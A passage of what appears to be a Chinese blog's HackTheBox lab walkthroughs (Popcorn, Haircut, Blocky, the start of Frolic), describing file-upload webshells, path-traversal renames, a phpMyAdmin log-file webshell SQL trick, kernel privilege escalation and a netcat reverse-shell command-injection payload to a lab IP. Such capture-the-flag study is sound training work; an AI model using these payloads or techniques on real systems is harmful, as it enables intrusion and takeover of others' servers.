decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;22端口需要私钥&lt;/p&gt;&#10;&lt;p&gt;80端口有些东西&lt;/p&gt;&#10;&lt;p&gt;这个原来是test.php 目录爆破可以出来 我测试给他改了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0269.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0270.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0271.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;注册就能进入这个页面 可以上传文件 而且貌似不限制文件后缀 唯一不清楚的就是上传的文件到哪去了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0272.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找到个nday 但是根据他的描述 文件应该在torrents目录下 但他实际上并不在&lt;/p&gt;&#10;&lt;p&gt;这里我想到个好点子&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0273.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://popcorn.htb/rename/index.php?filename=../torrent/torrents.php&amp;amp;newfilename=../torrent/torrents.txt" target="_blank" rel="noopener"&#10; &gt;http://popcorn.htb/rename/index.php?filename=../torrent/torrents.php&amp;amp;newfilename=../torrent/torrents.txt&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;把这个改成txt下载下来代码审计&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0274.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;成功了&lt;/p&gt;&#10;&lt;p&gt;最后我读了发现的几个php文件&lt;/p&gt;&#10;&lt;p&gt;torrents.php&lt;/p&gt;&#10;&lt;p&gt;upload.php&lt;/p&gt;&#10;&lt;p&gt;config.php&lt;/p&gt;&#10;&lt;p&gt;直接说结论吧 读完之后发现 他的命名方式是取出当前torrent文件的sha1值 然后拼接.btf 合成的文件名称&lt;/p&gt;&#10;&lt;p&gt;并且文件存在于&lt;a class="link" href="http://popcorn.htb/torrent/torrents/" target="_blank" rel="noopener"&#10; &gt;http://popcorn.htb/torrent/torrents/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;故此之前自带的kali镜像文件路径为&lt;a class="link" href="http://popcorn.htb/torrent/torrents/723bc28f9b6f924cca68ccdff96b6190566ca6b4.btf" target="_blank" rel="noopener"&#10; &gt;http://popcorn.htb/torrent/torrents/723bc28f9b6f924cca68ccdff96b6190566ca6b4.btf&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;而在读代码的过程中遇到了一个没接触过的东西 就是torrent文件的sha1 在php里是&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0275.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;是这样的取出来的 而根据后续的代码&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0276.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;一切就显而易见了 直接上传一个sha1值和之前不一样的东西 随便百度下一个就行 然后上传 并在里面加上php代码 通过rename该名称就能getshell&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0277.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;随便取名就行 然后传上去&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0278.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里也是拿到了 再去下载找一下hash值&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0279.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0280.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;完全没有任何问题 我们直接把他的名称改了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0281.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;直接访问&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0282.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;报错了 但是至少他是能解析的 问题出现在我这 重新搞一次&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0283.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;换了个文件就好了&lt;/p&gt;&#10;&lt;p&gt;开始提权&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0284.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;config.php里的 其实已经读出来过了 在记录一下&lt;/p&gt;&#10;&lt;p&gt;/var/www/torrent/database 这里有个 th_database.sql文件 我们传到本地看看&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0285.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;没其他东西了&lt;/p&gt;&#10;&lt;p&gt;admin/admin12&lt;/p&gt;&#10;&lt;p&gt;torrent/SuperSecret!!&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0286.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;sudo不行&lt;/p&gt;&#10;&lt;p&gt;家目录有torrenthoster.zip源码&lt;/p&gt;&#10;&lt;p&gt;还是传脚本扫一下把&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0287.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0288.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0289.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;开始挨个看&lt;/p&gt;&#10;&lt;p&gt;mysqld_safe不在定时任务里 也没有suid&lt;/p&gt;&#10;&lt;p&gt;第二个提示我们执行sudo不需要密码 但是我运行的时候一直要求要密码&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0290.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;第三个没权限&lt;/p&gt;&#10;&lt;p&gt;pspy32并没有其他进程来运行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0291.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0292.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;基本都看完了 没有任何方面能够利用 目前还剩一个 george目录下的 torrenthoster.zip没看&lt;/p&gt;&#10;&lt;p&gt;下载过来看了 也是啥都没有&lt;/p&gt;&#10;&lt;p&gt;目前已经卡死了 只知道他说sudo是不需要密码的 但是我用的时候却需要密码&lt;/p&gt;&#10;&lt;p&gt;只能searchsploit了 搜了几个脚本 挨个传上去扫&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0293.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0294.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;其他的都运行不了 但是这个貌似有点意思 啥都有 只是告诉了我们密码错误而已 读一下代码&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0295.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;读完之后发现就是字面意思 输入toor就行&lt;/p&gt;&#10;&lt;p&gt;成功提权完成 这一个靶场也是难度适中 扩展了思路把&lt;/p&gt;&#10;&lt;p&gt;结束了去看wp&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@harellevy159/hackthebox-popcorn-write-up-51500a8d11ff" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@harellevy159/hackthebox-popcorn-write-up-51500a8d11ff&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0296.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;提权方式不一样&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0297.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;看了下这个脚本 只能说我的搜索方式还有问题 不要老吧ubuntu加上去 搜搜内核还有其他收获&lt;/p&gt;&#10;&lt;p&gt;而且我才想起来这个是脏牛提权 最经典的一种&lt;/p&gt;&#10;&lt;p&gt;而我刚刚那个exp 他们是根据.cache/motd.legal-displayed这个找exp的 而我是直接搜ubuntu版本来找的&lt;/p&gt;&#10;&lt;p&gt;思路没有完善 只是运气好 其他就没什么差别了 到此就结束了&lt;/p&gt;&#10;&lt;h2 id="15haircut"&gt;&lt;a href="#15haircut" class="header-anchor"&gt;&lt;/a&gt;15.Haircut&#10;&lt;/h2&gt;&lt;p&gt;信息收集:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0298.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0299.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;还是只提重点 有三个网站 还有个uploads&lt;/p&gt;&#10;&lt;p&gt;三个网站三张图其他啥都没有 图片全都看了一眼 啥都没有&lt;/p&gt;&#10;&lt;p&gt;uploads403&lt;/p&gt;&#10;&lt;p&gt;exposed.php 有个命令注入 非常明显 因为之前的靶场打过一次&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0300.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0301.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;还是$命令注入 它禁了很多 但是netcat没禁 尝试回连有回显 开始构造payload反弹shell&lt;/p&gt;&#10;&lt;p&gt;[http://localhost/test.html$(netcat](http://localhost/test.html$(netcat) 10.10.16.13 9999 -c sh)&lt;/p&gt;&#10;&lt;p&gt;可以直接弹&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0302.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;只感觉到打靶场越来越得心应手了&lt;/p&gt;&#10;&lt;p&gt;开始提权 信息收集&lt;/p&gt;&#10;&lt;p&gt;先生成个tty把&#9;python3 -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0303.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;maria目录的user.txt 和 Desktop的user.txt不一样&lt;/p&gt;&#10;&lt;p&gt;0b0da2af50e9ab7c81a6ec2c562afeae&lt;/p&gt;&#10;&lt;p&gt;152294df041b51863cc9c7b5a52938f2&#9;#这个提交与hackthebox是没问题的&lt;/p&gt;&#10;&lt;p&gt;启动LinEnum扫一下 出了内核版本 找到了一个exp&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0304.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0305.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结束了 这个靶场还是常规的 甚至只花了50分钟就搞完了&lt;/p&gt;&#10;&lt;p&gt;但还是要看看wp学思路 他们在suid上找到了Screen 4.5.0 然后通过搜索这个的exp完成提权&lt;/p&gt;&#10;&lt;p&gt;外网打点的思路就是访问自己开的http服务 然后-o输出到php文件里 基本上没有搜到和我一样的思路的&lt;/p&gt;&#10;&lt;p&gt;其实Screen 4.5.0这个有点意思 可以尝试一下&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0306.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;如果没有刚刚那个提权 这个文件也会引起我的注意 因为正常系统自带的 没有这玩意 而且他还带个版本&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0307.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;payload&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0308.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0309.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;报错也只是少文件&lt;/p&gt;&#10;&lt;p&gt;报错了 还是读代码把&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0310.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;不难理解 自行编译再丢到靶机上试试&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0311.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;警告并没有报错&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0312.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;也是警告没报错 -static 加参数主要是有些gcc版本不一样 其他系统可能会报错 才加的&lt;/p&gt;&#10;&lt;p&gt;传到靶机 挨个执行命令看看&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0313.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;果然还是报错了&lt;/del&gt; 分析了下代码 主要是就是libhax不知道是啥漏洞(底层的还是有点研究不来) 能给将rootshell改成root所有 并给予755权限 所以我们一执行rootshell就变成root权限了&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;那现在看来问题一直出现在这个libhax上 研究一下&lt;/del&gt;&lt;/p&gt;&#10;&lt;p&gt;实际上没有问题 我名字取错了 libhax.so 我取成了 libhex.so 改了之后就能正常运行了&lt;/p&gt;&#10;&lt;p&gt;按照命令执行走 成功获得root权限&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0314.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;至此全部结束&lt;/p&gt;&#10;&lt;h2 id="16blocky"&gt;&lt;a href="#16blocky" class="header-anchor"&gt;&lt;/a&gt;16.Blocky&#10;&lt;/h2&gt;&lt;p&gt;信息收集:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0315.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0316.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0317.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;还是直接说结论&lt;/p&gt;&#10;&lt;p&gt;21端口没有漏洞 1.3.5有exp 但是他是未经授权就能进行文件移动 但是我打了三个exp 并且手测读代码才发现 这里根本没有漏洞&lt;/p&gt;&#10;&lt;p&gt;22端口没有任何信息&lt;/p&gt;&#10;&lt;p&gt;80是一个wordpress 我对wordpress测了很久 但是没用 里面有个phpmyadmin 4.5.4.1版本的 没有相关漏洞&lt;/p&gt;&#10;&lt;p&gt;wordpress有两个用户(但这不重要)&lt;/p&gt;&#10;&lt;p&gt;其他就没东西了&lt;/p&gt;&#10;&lt;p&gt;剩下的就是对目录进行爆破 果然有东西 minecraft就是java编译的 找到两个jar文件&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0318.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;直接逆向 我本来以为要java代码审计 结果不用&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0319.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;有了这个可以登录phpmyadmin了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0320.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;后台RCE的地方就很多了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0321.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;写文件被ban了&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;show&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;variables&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;like&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;%general%&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#9;&lt;/span&gt;&lt;span class="c1"&gt;--查看配置，日志是否开启，和mysql默认log地址(记下原地址方便恢复)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;general_log&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#9;&#9;&lt;/span&gt;&lt;span class="c1"&gt;--开启日志监测，默认关闭(如果一直开文件会很大的)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;general_log_file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/var/www/html/info.php&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#9;&#9;&lt;/span&gt;&lt;span class="c1"&gt;--设置日志路径&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;这个还是能写的 但是绝对路径一直不对 后续就是一直找绝对路径 浪费了我很多时间&lt;/p&gt;&#10;&lt;p&gt;后面没办法了 突然就想通了 既然phpmyadmin写不了shell wordpress的后台其实也能找找绝对路径 或者 直接后台getshell就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0322.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;第一个改成md5 第二个写密码&lt;/p&gt;&#10;&lt;p&gt;它会自动给你生产加盐密码 我这里的密码是password生成的&lt;/p&gt;&#10;&lt;p&gt;$P$Bmf0.aAqKmYZ9zmcrtFLx8kjh32HaT1&lt;/p&gt;&#10;&lt;p&gt;直接能利用 Notch/password 登录&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0323.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;模板可以直接改 拼接url直接反弹了个shell&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://blocky.htb/wp-content/themes/twentyseventeen/front-page.php" target="_blank" rel="noopener"&#10; &gt;http://blocky.htb/wp-content/themes/twentyseventeen/front-page.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0324.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;上来了也是第一时间看了下绝对路径 我一开始填的路径就是这个 但是为什么sql写不进去呢？&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0325.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;一目了然了 网站目录没给其他用户写入权限 所以写不进去是正常的&lt;/p&gt;&#10;&lt;p&gt;开始提权 信息收集&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0326.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里有个notch用户 我把它数据库里的密码删了 如果他的那个密码撞出来了 是不是这里就能su&lt;/p&gt;&#10;&lt;p&gt;一切都不确定 挨个看吧 目前sudo是用不了了 要密码&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0327.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这个内核很眼熟 直接传脚本吧&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0328.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0329.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结束 一路上都是常规渗透 没有意料之外的服务或者啥的&lt;/p&gt;&#10;&lt;p&gt;但是误区可能有点多 导致浪费很多时间 只能说该提快速度了&lt;/p&gt;&#10;&lt;h2 id="17frolic"&gt;&lt;a href="#17frolic" class="header-anchor"&gt;&lt;/a&gt;17.Frolic&#10;&lt;/h2&gt;&lt;p&gt;信息收集:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0330.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0331.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0332.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0333.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;smb没有东西&lt;/p&gt;&#10;&lt;p&gt;1880端口&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0334.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;没有东西 目录爆破也不行提示401 然后密码猜对了应该 admin/password 请求/auth/token接口&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0335.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;直接请求无返回&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0336.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;改了之后提示401 node-red 没有找到其他东西了 这是目录爆破结果&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0337.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;9999端口&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0338.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;/admin做的是前端验证&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0339.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0340.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;登陆成功是这玩意&lt;/p&gt;&#10;&lt;p&gt;/test 是phpinfo&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0341.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.111:9999/backup/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.111:9999/backup/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;这个下面有三个文件 user.txt password.txt /loop目录&lt;/p&gt;&#10;&lt;p&gt;user/password的密码为 admin/imnothuman&lt;/p&gt;&#10;&lt;p&gt;没找到用处&lt;/p&gt;&#10;&lt;p&gt;其他的/loop /dev 都是403&lt;/p&gt;&#10;&lt;p&gt;还有个UDP的137端口 搜了一下找了个poc 